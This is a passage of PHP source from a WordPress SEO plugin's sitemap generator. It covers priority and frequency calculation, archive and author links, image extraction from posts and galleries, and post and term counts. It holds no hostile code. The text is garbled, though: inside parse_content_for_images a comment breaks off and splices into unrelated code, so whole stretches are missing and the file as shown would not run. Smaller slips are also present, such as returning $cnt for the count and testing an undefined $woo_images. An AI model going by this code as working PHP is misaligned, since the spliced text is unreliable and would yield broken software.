$changefreq = $change; break; } $prev_days = $max_days; } return array( 'lastmod' => $date, 'changefreq' => $changefreq, 'priority' => $prio, ); } /** * Get Date Archive Priority from Posts * * Generate sitemap priority data for date archives from an array of posts. * * @since ? * * @param $posts * @return array */ public function get_date_archive_prio_from_posts( $posts ) { $archives = array(); if ( is_array( $posts ) ) { foreach ( $posts as $p ) { if ( 'post' !== $p->post_type ) { continue; } // add the post type to the date so as to support posts of different post types created on the same date. $date = date( 'Y-m', mysql2date( 'U', $p->post_date ) ) . $p->post_type; if ( empty( $archives[ $date ] ) ) { $archives[ $date ] = $p; } else { if ( $p->post_modified > $archives[ $date ]->post_modified ) { $archives[ $date ] = $p; } } } } if ( ! empty( $archives ) ) { return $this->get_prio_from_posts( $archives, $this->get_default_priority( 'archive', true ), $this->get_default_frequency( 'archive', true ), array( $this, 'get_date_archive_link_from_post', ), 'archive' ); } return $archives; } /** * Get Archive Priority from Posts * * Generate sitemap priority data for archives from an array of posts. * * @since ? * @since 3.2.0 Don't fetch WooCommerce shop page twice - #2126 * * @param $posts * @return array */ private function get_archive_prio_from_posts( $posts ) { $posttypes = array(); if ( ! empty( $this->options[ "{$this->prefix}posttypes" ] ) ) { $posttypes = $this->options[ "{$this->prefix}posttypes" ]; } if ( aioseop_is_woocommerce_active() ) { if ( in_array( 'product', $posttypes ) ) { $index = array_search( 'product', $posttypes ); unset( $posttypes[ $index ] ); } } $types_supporting_archives = get_post_types( array( 'has_archive' => true, '_builtin' => false, ), 'names' ); $types = array(); foreach ( $posts as $p ) { if ( array_key_exists( $p->post_type, $types ) ) { continue; } $types[ $p->post_type ] = $p; } $archive_pages = array(); $types = apply_filters( "{$this->prefix}include_post_types_archives", $types ); if ( $types ) { foreach ( $types as $post_type => $p ) { // TODO Add `true` in 3rd argument with in_array(); which changes it to a strict comparison. if ( ! ( in_array( $post_type, $posttypes ) && in_array( $post_type, $types_supporting_archives ) ) ) { continue; } $temp_archive_pages = $this->get_prio_from_posts( array( $p ), $this->get_default_priority( 'archive', true ), $this->get_default_frequency( 'archive', true ), array( $this, 'get_archive_link_from_post', ) ); if ( ! empty( $temp_archive_pages ) ) { $temp_archive_pages = $this->get_archive_page_timestamp( $temp_archive_pages, $post_type ); } $archive_pages = array_merge( $archive_pages, $temp_archive_pages ); } } return $archive_pages; } /** * The get_archive_page_timestamp() function. * * Get the Last Change timestamp for archive pages. * * @since 3.2.0 * * @param array $urls * @param string $post_type * @return array $urls */ private function get_archive_page_timestamp( $urls, $post_type ) { $lastmod = $this->get_last_modified_post_timestamp( $post_type ); if ( false === $lastmod ) { return $urls; } $count = count( $urls ); for ( $i = 0; $i < $count; $i++ ) { $urls[ $i ] = $this->insert_timestamp_as_second_attribute( $urls[ $i ], $lastmod ); } return $urls; } /** * Return an archive link for a post. * * @param $post * * @return bool|string */ public function get_archive_link_from_post( $post ) { return get_post_type_archive_link( $post->post_type ); } /** * Get Date Archive Link from Post * * Return a date archive link for a post. * * @since ? * * @param $post * @return bool|string */ public function get_date_archive_link_from_post( $post ) { $extra = array(); if ( 'post' !== $post->post_type ) { return false; } $date = mysql2date( 'U', $post->post_date ); return get_month_link( date( 'Y', $date ), date( 'm', $date ) ); } /** * Get Author Priority from Posts * * Generate sitemap priority data for authors from an array of posts. * * @since ? * * @param $posts * @return array */ public function get_author_prio_from_posts( $posts ) { $authors = array(); if ( is_array( $posts ) ) { foreach ( $posts as $p ) { if ( 'post' !== $p->post_type ) { continue; } if ( empty( $authors[ $p->post_author ] ) ) { $authors[ $p->post_author ] = $p; } else { if ( $p->post_modified > $authors[ $p->post_author ]->post_modified ) { $authors[ $p->post_author ] = $p; } } } } return $this->get_prio_from_posts( $authors, $this->get_default_priority( 'author', true ), $this->get_default_frequency( 'author', true ), array( $this, 'get_author_link_from_post', ), 'author' ); } /** * Get Author Link from Post * * Return an author link from a post. * * @since ? * * @param $post * @return string */ public function get_author_link_from_post( $post ) { return get_author_posts_url( $post->post_author ); } /** * Get Comment Count Stats * * Return comment statistics on an array of posts. * * @since ? * * @param $posts * @return array|int */ public function get_comment_count_stats( $posts ) { $count = 0; $total = 0.0; $min = null; $max = 0; if ( is_array( $posts ) ) { foreach ( $posts as $post ) { if ( ! empty( $post->comment_count ) ) { $cnt = $post->comment_count; $count ++; $total += $cnt; if ( null === $min ) { $min = $cnt; } if ( $max < $cnt ) { $max = $cnt; } if ( $min > $cnt ) { $min = $cnt; } } } } if ( $count ) { return array( 'max' => $max, 'min' => $min, 'total' => $total, 'count' => $cnt, ); } else { return 0; } } /** * Get Priority from Posts * * Generate sitemap priority data from an array of posts. * * @since ? * * @param $posts * @param bool $prio_override * @param bool $freq_override * @param string $linkfunc * @param string $type Type of entity being fetched viz. author, post etc. * @return array */ public function get_prio_from_posts( $posts, $prio_override = false, $freq_override = false, $linkfunc = 'get_permalink', $type = 'post' ) { $prio = array(); $args = array( 'prio_override' => $prio_override, 'freq_override' => $freq_override, 'linkfunc' => $linkfunc, ); if ( $prio_override && $freq_override ) { $stats = 0; } else { $stats = $this->get_comment_count_stats( $posts ); } if ( is_array( $posts ) ) { foreach ( $posts as $key => $post ) { // Determine if we check the post for images. $is_single = true; $post->filter = 'sample'; $timestamp = null; if ( 'get_permalink' === $linkfunc ) { $url = $this->get_permalink( $post ); } else { $url = call_user_func( $linkfunc, $post ); $is_single = false; } if ( strpos( $url, '__trashed' ) !== false ) { // excluded trashed urls. continue; } $date = $post->post_modified_gmt; if ( '0000-00-00 00:00:00' === $date ) { $date = $post->post_date_gmt; } if ( '0000-00-00 00:00:00' !== $date ) { $timestamp = $date; $date = date( 'Y-m-d\TH:i:s\Z', mysql2date( 'U', $date ) ); } else { $date = 0; } if ( $prio_override && $freq_override ) { $pr_info = array( 'lastmod' => $date, 'changefreq' => null, 'priority' => null, ); } else { if ( empty( $post->comment_count ) ) { $stat = 0; } else { $stat = $stats; } if ( ! empty( $stat ) ) { $stat['comment_count'] = $post->comment_count; } $pr_info = $this->get_prio_calc( $date, $stat ); } if ( $freq_override ) { $pr_info['changefreq'] = $freq_override; } if ( $prio_override ) { $pr_info['priority'] = $prio_override; } if ( ( 'sel' === $this->options[ $this->prefix . 'prio_post' ] ) && isset( $this->options[ $this->prefix . 'prio_post_' . $post->post_type ] ) ) { if ( 'no' !== $this->options[ $this->prefix . 'prio_post_' . $post->post_type ] && 'sel' !== $this->options[ $this->prefix . 'prio_post_' . $post->post_type ] ) { $pr_info['priority'] = $this->options[ $this->prefix . 'prio_post_' . $post->post_type ]; } } if ( ( 'sel' === $this->options[ $this->prefix . 'freq_post' ] ) && isset( $this->options[ $this->prefix . 'freq_post_' . $post->post_type ] ) ) { if ( 'no' !== $this->options[ $this->prefix . 'freq_post_' . $post->post_type ] && 'sel' !== $this->options[ $this->prefix . 'freq_post_' . $post->post_type ] ) { $pr_info['changefreq'] = $this->options[ $this->prefix . 'freq_post_' . $post->post_type ]; } } $pr_info = array( 'loc' => $url, ) + $pr_info; // Prepend loc to the array. if ( is_float( $pr_info['priority'] ) ) { $pr_info['priority'] = sprintf( '%0.1F', $pr_info['priority'] ); } // add the rss specific data. if ( $timestamp ) { $title = null; switch ( $type ) { case 'author': $title = get_the_author_meta( 'display_name', $key ); break; default: $title = get_the_title( $post ); break; } // RSS expects the GMT date. $timestamp = mysql2date( 'U', $post->post_modified_gmt ); $pr_info['rss'] = array( 'title' => $title, 'description' => get_post_field( 'post_excerpt', $post->ID ), 'pubDate' => date( 'r', $timestamp ), 'timestamp ' => $timestamp, 'post_type' => $post->post_type, ); } $pr_info['image:image'] = $is_single ? $this->get_images_from_post( $post ) : null; $pr_info = apply_filters( $this->prefix . 'prio_item_filter', $pr_info, $post, $args ); if ( ! empty( $pr_info ) ) { $prio[] = $pr_info; } } } return $prio; } /** * Get Images from Term * * Return the images attached to the term. * * @since 2.4 * @since 3.0 remove check for WP 4.4 * * @param WP_Term $term the term object. * @return array */ private function get_images_from_term( $term ) { if ( ! aiosp_include_images() ) { return array(); } $images = array(); $thumbnail_id = get_term_meta( $term->term_id, 'thumbnail_id', true ); if ( $thumbnail_id ) { $image = wp_get_attachment_url( $thumbnail_id ); if ( $image ) { $images['image:image'] = array( 'image:loc' => $image, 'image:caption' => wp_get_attachment_caption( $thumbnail_id ), 'image:title' => get_the_title( $thumbnail_id ), ); } } return $images; } /** * Get Images from Post * * Return the images from the post. * * @todo Add ~`get_attachment_postid_to_url()` function. * @todo Benchmark `wp_get_attachment_image_src()` & `wp_get_attachment_url()`. * @todo Look into using 'wp_get_attachment_image_url()'. * * @since 2.4 * @since 2.11 Optimization #2008 - Reduce the need to convert url to id. * * @param WP_Post|int $post the post object. * @return array */ private function get_images_from_post( $post ) { if ( ! aiosp_include_images() ) { return array(); } $rtn_image_attributes = array(); $post_image_ids = array(); $post_image_urls = array(); $transient_update = false; if ( is_numeric( $post ) ) { if ( 0 === $post ) { return null; } $post = get_post( $post ); } if ( 'attachment' === $post->post_type ) { if ( false === strpos( $post->post_mime_type, 'image/' ) ) { // Ignore all attachments except images. return null; } $attributes = wp_get_attachment_image_src( $post->ID ); if ( $attributes ) { $rtn_image_attributes[] = array( 'image:loc' => $this->aioseop_clean_url( $attributes[0] ), 'image:caption' => wp_get_attachment_caption( $post->ID ), 'image:title' => get_the_title( $post->ID ), ); } return $rtn_image_attributes; } // Set Image IDs w/ URLs. if ( is_null( $this->image_ids_urls ) ) { // Get Transient/Cache data. if ( is_multisite() ) { $this->image_ids_urls = get_site_transient( 'aioseop_multisite_attachment_ids_urls' ); } else { $this->image_ids_urls = get_transient( 'aioseop_attachment_ids_urls' ); } // Set default if no data exists. if ( false === $this->image_ids_urls ) { $this->image_ids_urls = array(); } } /** * Static attachment cache, 1 query vs. n posts. * * Concepts like this should be followed; although this could possibly be improved (maybe as a wrapped function) but is still good code. */ static $post_thumbnails; if ( is_null( $post_thumbnails ) || defined( 'AIOSEOP_UNIT_TESTING' ) ) { global $wpdb; $post_thumbnails = $wpdb->get_results( "SELECT post_ID, meta_value FROM $wpdb->postmeta WHERE meta_key = '_thumbnail_id'", ARRAY_A ); if ( $post_thumbnails ) { $post_thumbnails = array_combine( wp_list_pluck( $post_thumbnails, 'post_ID' ), wp_list_pluck( $post_thumbnails, 'meta_value' ) ); } } if ( isset( $post_thumbnails[ $post->ID ] ) ) { $post_image_ids[] = intval( $post_thumbnails[ $post->ID ] ); } $post_image_ids = array_merge( $post_image_ids, $this->get_gallery_image_ids( $post ) ); $this->get_gallery_images( $post, $post_image_urls ); // Get image URLs from content. $content = $post->post_content; $content .= $this->get_content_from_galleries( $content ); $this->parse_content_for_images( $content, $post_image_urls ); if ( ! empty( $post_image_urls ) ) { // Remove any invalid/empty images. $post_image_urls = array_filter( $post_image_urls, array( $this, 'is_image_url_valid' ) ); // If possible, get ID from URL, and store the post's attachment ID => URL value. // This is to base the attachment query on the ID instead of the URL; which is less SQL intense. foreach ( $post_image_urls as $k1_index => &$v1_image_url ) { $v1_image_url = aiosp_common::absolutize_url( $v1_image_url ); $attachment_id = aiosp_common::attachment_url_to_postid( $v1_image_url ); if ( $attachment_id ) { if ( ! isset( $this->image_ids_urls[ $attachment_id ] ) ) { // Use transient/cache data. $this->image_ids_urls[ $attachment_id ] = array( $v1_image_url ); $transient_update = true; } else { // If transient/cache data is already set, and URL is not already stored. if ( ! in_array( $v1_image_url, $this->image_ids_urls[ $attachment_id ], true ) ) { $this->image_ids_urls[ $attachment_id ][] = $v1_image_url; $transient_update = true; } } // Store and use ID instead. array_push( $post_image_ids, $attachment_id ); unset( $post_image_urls[ $k1_index ] ); } } } // Site's Images. if ( $post_image_ids ) { // Filter out duplicates. $post_image_ids = array_unique( $post_image_ids ); foreach ( $post_image_ids as $v1_image_id ) { // Set base URL to display later in this instance, or later (transient/cache) instances. // Converting ID from URL can also be heavy on memory & time. if ( ! isset( $this->image_ids_urls[ $v1_image_id ] ) ) { // Sets any remaining post image IDs that weren't converted from URL. $this->image_ids_urls[ $v1_image_id ] = array( 'base_url' => $this->aioseop_clean_url( wp_get_attachment_url( $v1_image_id ) ), ); $transient_update = true; } else { if ( empty( $this->image_ids_urls[ $v1_image_id ]['base_url'] ) ) { $this->image_ids_urls[ $v1_image_id ]['base_url'] = $this->aioseop_clean_url( wp_get_attachment_url( $v1_image_id ) ); $transient_update = true; } } // Set return variable for image data/attributes. $rtn_image_attributes[] = array( 'image:loc' => $this->image_ids_urls[ $v1_image_id ]['base_url'], 'image:caption' => wp_get_attachment_caption( $v1_image_id ), 'image:title' => get_the_title( $v1_image_id ), ); } } // External/Custom images remaining. if ( ! empty( $post_image_urls ) ) { foreach ( $post_image_urls as $v1_image_url ) { $rtn_image_attributes[] = array( 'image:loc' => $v1_image_url, ); } } if ( $transient_update ) { add_action( 'shutdown', array( $this, 'set_transient_attachment_ids_urls' ) ); } return $rtn_image_attributes; } /** * Set Transient Attachment IDs => URLS * * Set Transient for Image IDs => URLs * * @since 2.11 */ public function set_transient_attachment_ids_urls() { if ( is_multisite() ) { set_site_transient( 'aioseop_multisite_attachment_ids_urls', $this->image_ids_urls, DAY_IN_SECONDS ); } else { set_transient( 'aioseop_attachment_ids_urls', $this->image_ids_urls, DAY_IN_SECONDS ); } } /** * Get Gallery Images * * Fetch images from WP, Jetpack and WooCommerce galleries. * * @since 2.4.2 * @since 2.11 Optimization #2008 - Reduce the need to convert url to id. * * @param WP_Post $post The post. * @param array $images the array of images. */ private function get_gallery_images( $post, &$images ) { if ( false === apply_filters( 'aioseo_include_images_in_wp_gallery', true ) ) { return; } // Check images galleries in the content. DO NOT run the_content filter here as it might cause issues with other shortcodes. if ( has_shortcode( $post->post_content, 'gallery' ) ) { /* * TODO Investigate other alternatives to retrieve ID instead. Specifically Jetpack data. * * Is this even necessary? Jetpack uses many of the WP functions, some of which may already be in use. * This is also limited to 1 source, and doesn't check other sources once a value is obtained. * * @link https://hayashikejinan.com/wp-content/uploads/jetpack_api/classes/Jetpack_PostImages.html */ if ( class_exists( 'Jetpack_PostImages' ) ) { // Get the jetpack gallery images. $jetpack = Jetpack_PostImages::get_images( $post->ID ); if ( $jetpack ) { foreach ( $jetpack as $jetpack_image ) { $images[] = $jetpack_image['src']; } } } } $images = array_unique( $images ); } /** * Get Gallery Image IDs * * @uses get_post_galleries() * @link https://developer.wordpress.org/reference/functions/get_post_galleries/ * * @since 2.11 * * @param WP_Post $post * @return array */ private function get_gallery_image_ids( $post ) { $rtn_image_ids = array(); if ( false === apply_filters( 'aioseo_include_images_in_wp_gallery', true ) ) { return $rtn_image_ids; } // Check images galleries in the content. DO NOT run the_content filter here as it might cause issues with other shortcodes. if ( has_shortcode( $post->post_content, 'gallery' ) ) { // Get the default WP gallery images. $galleries = get_post_galleries( $post, false ); if ( ! empty( $galleries ) ) { foreach ( $galleries as $gallery ) { $gallery_ids = explode( ',', $gallery['ids'] ); if ( ! empty( $gallery_ids ) ) { foreach ( $gallery_ids as $image_id ) { // Skip if invalid id. if ( ! is_numeric( $image_id ) ) { continue; } $image_id = intval( $image_id ); array_push( $rtn_image_ids, $image_id ); } } } } } // Check WooCommerce product gallery. if ( class_exists( 'WooCommerce' ) ) { $wc_image_ids = get_post_meta( $post->ID, '_product_image_gallery', true ); if ( ! empty( $woo_images ) ) { $wc_image_ids = array_filter( explode( ',', $wc_image_ids ) ); foreach ( $wc_image_ids as $image_id ) { if ( is_numeric( $image_id ) ) { $image_id = intval( $image_id ); array_push( $rtn_image_ids, $image_id ); } } } } return array_unique( $rtn_image_ids ); } /** * Get Content from Galleries * * Parses the content to find out if specified images galleries exist and if they do, parse them for images. * Supports NextGen. * * @since 2.4.2 * * @param string $content The post content. * @return string */ private function get_content_from_galleries( $content ) { // Support for NextGen Gallery. static $gallery_types; $gallery_types = array( 'ngg_images' ); $types = apply_filters( 'aioseop_gallery_shortcodes', $gallery_types ); $gallery_content = ''; if ( ! $types ) { return $gallery_content; } $found = array(); if ( $types ) { foreach ( $types as $type ) { if ( has_shortcode( $content, $type ) ) { $found[] = $type; } } } // If none of the shortcodes-of-interest are found, bail. if ( empty( $found ) ) { return $gallery_content; } $galleries = array(); if ( ! preg_match_all( '/' . get_shortcode_regex() . '/s', $content, $matches, PREG_SET_ORDER ) ) { return $gallery_content; } // Collect the shortcodes and their attributes. foreach ( $found as $type ) { foreach ( $matches as $shortcode ) { if ( $type === $shortcode[2] ) { $attributes = shortcode_parse_atts( $shortcode[3] ); if ( '' === $attributes ) { // Valid shortcode without any attributes. $attributes = array(); } $galleries[ $shortcode[2] ] = $attributes; } } } // Recreate the shortcodes and then render them to get the HTML content. if ( $galleries ) { foreach ( $galleries as $shortcode => $attributes ) { $code = '[' . $shortcode; foreach ( $attributes as $key => $value ) { $code .= " $key=$value"; } $code .= ']'; $gallery_content .= aioseop_do_shortcodes( $code ); } } return $gallery_content; } /** * AIOSEOP Clean URL * * Cleans the URL so that its acceptable in the sitemap. * * @since 2.4.1 * * @param string $url The image url. * @return string */ public function aioseop_clean_url( $url ) { // remove the query string. $url = strtok( $url, '?' ); // make the url XML-safe. $url = htmlspecialchars( $url ); // Make the url absolute, if its relative. $url = aiosp_common::absolutize_url( $url ); return apply_filters( 'aioseop_clean_url', $url ); } /** * The is_image_url_valid() function. * * Checks whether the image URL is valid. * * @since 2.4.1 * @since 2.4.3 Compatibility with Pre v4.7 wp_parse_url(). * @since 2.11.0 Sitemap Optimization #2008 - Changed to a more appropriate name. * @since 3.0.0 Remove checks for old WP versions. * @since 3.2.0 Remove redundant code. * * @param string $image The image src. * @return bool */ public function is_image_url_valid( $image ) { // Bail if empty image. if ( empty( $image ) ) { return false; } $image = aiosp_common::absolutize_url( $image ); $extn = pathinfo( $image, PATHINFO_EXTENSION ); $allowed = apply_filters( 'aioseop_allowed_image_extensions', self::$image_extensions ); // Bail if image does not refer to an image file otherwise Google Search Console might reject the sitemap. if ( ! in_array( $extn, $allowed, true ) ) { return false; } $image_host = wp_parse_url( $image, PHP_URL_HOST ); $host = wp_parse_url( home_url(), PHP_URL_HOST ); if ( $image_host !== $host ) { // Allowed hosts will be provided in a wildcard format i.e. img.yahoo.* or *.akamai.*. // And we will convert that into a regular expression for matching. $whitelist = apply_filters( 'aioseop_images_allowed_from_hosts', array() ); $allowed = false; if ( $whitelist ) { foreach ( $whitelist as $pattern ) { if ( preg_match( '/' . str_replace( '*', '.*', $pattern ) . '/', $image_host ) === 1 ) { $allowed = true; break; } } } return $allowed; } return true; } /** * Parse Content for Images * * Parse the post for images. * * @since 2.9.1 * * @param string $content the post content. * @param array $images the array of images. */ public function parse_content_for_images( $content, &$images ) { // These tags should be WITHOUT trailing space because some plugins such as the nextgen gallery put newlines immediately after loadHTML( $content ); libxml_clear_errors(); // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase $dom->preserveWhiteSpace = false; $matches = $dom->getElementsByTagName( 'img' ); foreach ( $matches as $match ) { $images[] = $match->getAttribute( 'src' ); } } else { // Fall back to regex, but also report an error. global $img_err_msg; if ( ! isset( $img_err_msg ) ) { // we will log this error message only once, not per post. $img_err_msg = true; $this->debug_message( 'DOMDocument not found; using REGEX' ); } preg_match_all( '/options[ "{$this->prefix}indexes" ] ) ) { $args['number'] = $this->max_posts; $args['offset'] = $page * $this->max_posts; } $args['taxonomy'] = $this->show_or_hide_taxonomy( $taxonomies ); $args['exclude'] = array(); if ( $this->option_isset( 'excl_terms' ) ) { foreach ( $taxonomies as $v1_taxonomy ) { if ( isset( $this->options[ $this->prefix . 'excl_terms' ][ $v1_taxonomy ] ) ) { $args['exclude'] = array_merge( $args['exclude'], $this->options[ $this->prefix . 'excl_terms' ][ $v1_taxonomy ]['terms'] ); } } } /** * The aioseop_sitemap_exclude_tax_terms filter hook. * * Allows users to exclude (or include) taxonomy terms from the sitemap. * * @since 2.9 * @since 3.2.0 Rename filter hook & remove redundant params. * * @param array $args { * @type array $taxonomy Name of the taxonomy that is being included in the sitemap. * @type array $exclude IDs of taxonomy terms of the relevant taxonomy that need to be excluded. * } */ $args = apply_filters( 'aioseop_sitemap_exclude_tax_terms', $args ); return $args; } /** * Set Post Args * * Return excluded categories and pages for post queries. * * @since ? * @since 3.0 Change 'excl_terms' to tax_query format. (Pro #240) * * @param $args * @return mixed */ public function set_post_args( $args ) { if ( $this->option_isset( 'excl_terms' ) ) { foreach ( $this->options[ $this->prefix . 'excl_terms' ] as $k1_taxonomy => $v1_tax_terms ) { if ( ! isset( $args['tax_query'] ) ) { $args['tax_query'] = array( 'relation' => 'AND', ); } $args['tax_query'][] = array( 'taxonomy' => $k1_taxonomy, 'terms' => $v1_tax_terms['terms'], 'operator' => 'NOT IN', ); } } if ( $this->option_isset( 'excl_pages' ) ) { $args['exclude'] = $this->options[ $this->prefix . 'excl_pages' ]; } return $args; } /** * Get Data Archive Priority Data * * Return sitemap data for date archives. * * @since ? * * @return array */ public function get_date_archive_prio_data() { $args = array( 'numberposts' => 50000, 'post_type' => 'post', ); $args = $this->set_post_args( $args ); $posts = $this->get_all_post_type_data( $args ); return $this->get_date_archive_prio_from_posts( $posts ); } /** * Get Author Priority Data * * Return sitemap data for authors. * * @since ? * * @return array */ public function get_author_prio_data() { $args = array( 'numberposts' => 50000, 'post_type' => 'post', ); $args = $this->set_post_args( $args ); $posts = $this->get_all_post_type_data( $args ); return $this->get_author_prio_from_posts( $posts ); } /** * Get All Post Priority Data * * Return sitemap data for posts. * * @since ? * @since 3.2.0 Update Last Change timestamp for WooCommerce shop page. * * @param string $include * @param string $status * @param int $page * @return array */ public function get_all_post_priority_data( $include = 'any', $status = 'publish', $page = 0 ) { $posts = array(); $page_query = array(); if ( ! empty( $this->options[ "{$this->prefix}indexes" ] ) ) { $page_query = array( 'offset' => $page * $this->max_posts ); } if ( ( 'publish' === $status ) && ( 'attachment' === $include ) ) { $status = 'inherit'; } // TODO Add `true` in 3rd argument with in_array(); which changes it to a strict comparison. if ( is_array( $include ) ) { $pos = array_search( 'attachment', $include ); if ( false !== $pos ) { unset( $include[ $pos ] ); $att_args = array( 'post_type' => 'attachment', 'post_status' => 'inherit', ); $att_args = array_merge( $att_args, $page_query ); $posts = $this->get_all_post_type_data( $att_args ); } } $args = array( 'post_type' => $include, 'post_status' => $status, ); $args = array_merge( $args, $page_query ); $args = $this->set_post_args( $args ); $posts = array_merge( $this->get_all_post_type_data( $args ), $posts ); $links = $this->get_prio_from_posts( $posts, $this->get_default_priority( 'post', true ), $this->get_default_frequency( 'post', true ) ); $links = array_merge( $links, $this->get_archive_prio_from_posts( $posts ) ); $is_sitemap_indexes_disabled = empty( $this->options['aiosp_sitemap_indexes'] ); if ( $is_sitemap_indexes_disabled || ( ! $is_sitemap_indexes_disabled && 'page' === $include ) ) { $links = $this->get_posts_page_timestamp( $links ); $links = $this->get_prio_freq_static_homepage( $links ); $links = $this->update_woocommerce_shop_timestamp( $links ); } return $links; } /** * The get_prio_freq_static_homepage() function. * * Sets the priority and frequency for the homepage if it is static. * * @since 3.2.0 * * @param array $links * @return array $links */ private function get_prio_freq_static_homepage( $links ) { if ( 0 === (int) get_option( 'page_on_front' ) ) { return $links; } $prio = 'no'; $freq = 'no'; if ( isset( $this->options['aiosp_sitemap_prio_homepage'] ) ) { $prio = $this->options['aiosp_sitemap_prio_homepage']; } if ( isset( $this->options['aiosp_sitemap_freq_homepage'] ) ) { $freq = $this->options['aiosp_sitemap_freq_homepage']; } $homepage_url = get_site_url() . '/'; $homepage_index = array_search( $homepage_url, array_column( $links, 'loc' ) ); if ( ! $homepage_url ) { return $links; } if ( 'no' !== $prio ) { $links[ $homepage_index ]['priority'] = $prio; } if ( 'no' !== $freq ) { $links[ $homepage_index ]['changefreq'] = $freq; } return $links; } /** * The update_woocommerce_shop_timestamp() function. * * Updates the Last Change timestamp for the WooCommerce shop page based on the last modified product - #2126. * * @since 3.2.0 * * @param array $links * @return array $links */ private function update_woocommerce_shop_timestamp( $links ) { if ( ! aioseop_is_woocommerce_active() ) { return $links; } $shop_page_url = get_permalink( wc_get_page_id( 'shop' ) ); $shop_page_index = array_search( $shop_page_url, array_column( $links, 'loc' ) ); if ( ! $shop_page_index ) { return $links; } // TODO Use get_last_modified_post_timestamp() instead when #2721 is merged. $latest_modified_product = new WP_Query( array( 'post_type' => 'product', 'post_status' => 'publish', 'posts_per_page' => 1, 'orderby' => 'modified', 'order' => 'DESC', ) ); if ( $latest_modified_product->have_posts() ) { $timestamp = $latest_modified_product->posts[0]->post_modified_gmt; $lastmod = date( 'Y-m-d\TH:i:s\Z', mysql2date( 'U', $timestamp ) ); // Last Change timestamp needs to be inserted as second attribute in order to have valid sitemap schema. // TODO Use insert_timestamp_as_second_attribute() instead when #2721 is merged. $links[ $shop_page_index ] = array_slice( $links[ $shop_page_index ], 0, 1, true ) + array( 'lastmod' => $lastmod ) + array_slice( $links[ $shop_page_index ], 1, null, true ); } return $links; } /** * Get All Permalinks * * Return a list of all permalinks. * * @since ? * * @param string $include * @param string $status * @return array */ public function get_all_permalinks( $include = 'any', $status = 'publish' ) { $args = array( 'post_type' => $include, 'post_status' => $status, ); $args = $this->set_post_args( $args ); $posts = $this->get_all_post_type_data( $args ); $links = $this->get_post_permalinks( $posts ); if ( $this->option_isset( 'archive' ) ) { $links = array_merge( $links, $this->get_archive_permalinks( $posts ) ); } if ( $this->option_isset( 'author' ) ) { $links = array_merge( $links, $this->get_author_permalinks( $posts ) ); } return $links; } /** * Cache Structure * * Static memory cache for permalink_structure option. * * @since ? * * @param $pre * @return null */ public function cache_structure( $pre ) { return $this->cache_struct; } /** * Cache Home * * Static memory cache for home option. * * @since ? * * @param $pre * @return null */ public function cache_home( $pre ) { return $this->cache_home; } /** * Cache Options * * Cache permalink_structure and home for repeated sitemap queries. * * @since ? */ public function cache_options() { static $start = true; if ( $start ) { $this->cache_struct = get_option( 'permalink_structure' ); if ( ! empty( $this->cache_struct ) ) { add_filter( 'pre_option_permalink_structure', array( $this, 'cache_structure' ) ); } $this->cache_home = get_option( 'home' ); if ( ! empty( $this->cache_home ) ) { add_filter( 'pre_option_home', array( $this, 'cache_home' ) ); } $start = false; } } /** * Get Term Link * * Call get_term_link with caching in place. * * @since ? * * @param $term * @param string $taxonomy * @return string|WP_Error */ public function get_term_link( $term, $taxonomy = '' ) { static $start = true; if ( $start ) { $this->cache_options(); $start = false; } return get_term_link( $term, $taxonomy ); } /** * Get Permalink * * Call get_permalink with caching in place. * * @since ? * * @param $post * @return false|string */ public function get_permalink( $post ) { static $start = true; if ( $start ) { $this->cache_options(); $start = false; } return aioseop_get_permalink( $post ); } /** * Show or hide the taxonomy/taxonomies. * * @since 3.0.0 * * @param array $taxonomy The array of taxonomy slugs. * * @return array The array of taxonomy slugs that need to be shown. */ private function show_or_hide_taxonomy( $taxonomy ) { /** * Determines whether to show or hide the taxonomy/taxonomies. * * @since 3.0.0 * * @param array $taxonomy The array of taxonomy slugs. */ return apply_filters( "{$this->prefix}show_taxonomy", $taxonomy ); } /** * Get All Terms Counts * * Return term counts using wp_count_terms(). * * @since ? * * @param $args * @return array|int|mixed|null|WP_Error */ public function get_all_term_counts( $args ) { $term_counts = null; if ( ! empty( $args ) && ! empty( $args['taxonomy'] ) ) { // TODO Add `true` in 3rd argument with in_array(); which changes it to a strict comparison. if ( ! is_array( $args['taxonomy'] ) || ( count( $args['taxonomy'] ) == 1 ) ) { if ( is_array( $args['taxonomy'] ) ) { $args['taxonomy'] = array_shift( $args['taxonomy'] ); } $term_counts = wp_count_terms( $this->show_or_hide_taxonomy( $args['taxonomy'] ), array( 'hide_empty' => true ) ); } else { foreach ( $args['taxonomy'] as $taxonomy ) { if ( 'all' === $taxonomy ) { continue; } $term_counts[ $taxonomy ] = wp_count_terms( $this->show_or_hide_taxonomy( $taxonomy ), array( 'hide_empty' => true ) ); } } } $term_counts = apply_filters( $this->prefix . 'term_counts', $term_counts, $args ); return $term_counts; } /** * Get All Post Counts * * Return post counts. * * @since ? * @since 2.4.3 Refactored to use get_post_count() instead of wp_count_posts(). * * @param $args * @return array */ public function get_all_post_counts( $args ) { $post_counts = array(); $status = 'inherit'; if ( ! empty( $args['post_status'] ) ) { $status = $args['post_status']; } if ( ! empty( $args ) && ! empty( $args['post_type'] ) ) { // #884: removed hard-to-understand code here which suspected $args['post_type'] to NOT be an array. Do not see any case in which this is likely to happen. foreach ( $args['post_type'] as $post_type ) { $count_args = $args; if ( 'all' === $post_type ) { continue; } if ( 'attachment' === $post_type ) { $count_args['post_status'] = 'inherit'; } $count_args['post_type'] = $post_type; $post_counts[ $post_type ] = $this->get_post_count( $count_args ); } } $post_counts = apply_filters( $this->prefix . 'post_counts', $post_counts, $args ); return $post_counts; } /** * Modify Post Params for External Plugins * * Modify the post arguments in case third-party plugins are being used e.g. WPML. * * @since 2.4.5 * * @param $args */ public function modify_post_params_for_external_plugins( &$args ) { // if WPML is being used, do not suppress filters. if ( defined( 'ICL_SITEPRESS_VERSION' ) ) { $args['suppress_filters'] = false; } $args = apply_filters( $this->prefix . 'modify_post_params', $args ); } /** * Get Post Count * * Return post counts for the specified arguments. * * @since ? * * @param $args * @return int */ public function get_post_count( $args ) { $this->modify_post_params_for_external_plugins( $args ); // we will use WP_Query instead of get_posts here as that is more efficient. // BEWARE: since we are using WP_Query, suppress_filters is false. $args['posts_per_page'] = -1; $args['fields'] = 'ids'; $args['update_post_meta_cache'] = false; $args['update_post_term_cache'] = false; $query = new WP_Query( $args ); if ( $query->have_posts() ) { return $query->post_count; } return 0; } /** * Get total post count. * * @param $args * * @return int */ public function get_total_post_count( $args ) { $total = 0; $counts = $this->get_all_post_counts( $args ); if ( ! empty( $counts ) ) { foreach ( $counts as $count ) { $total += $count; 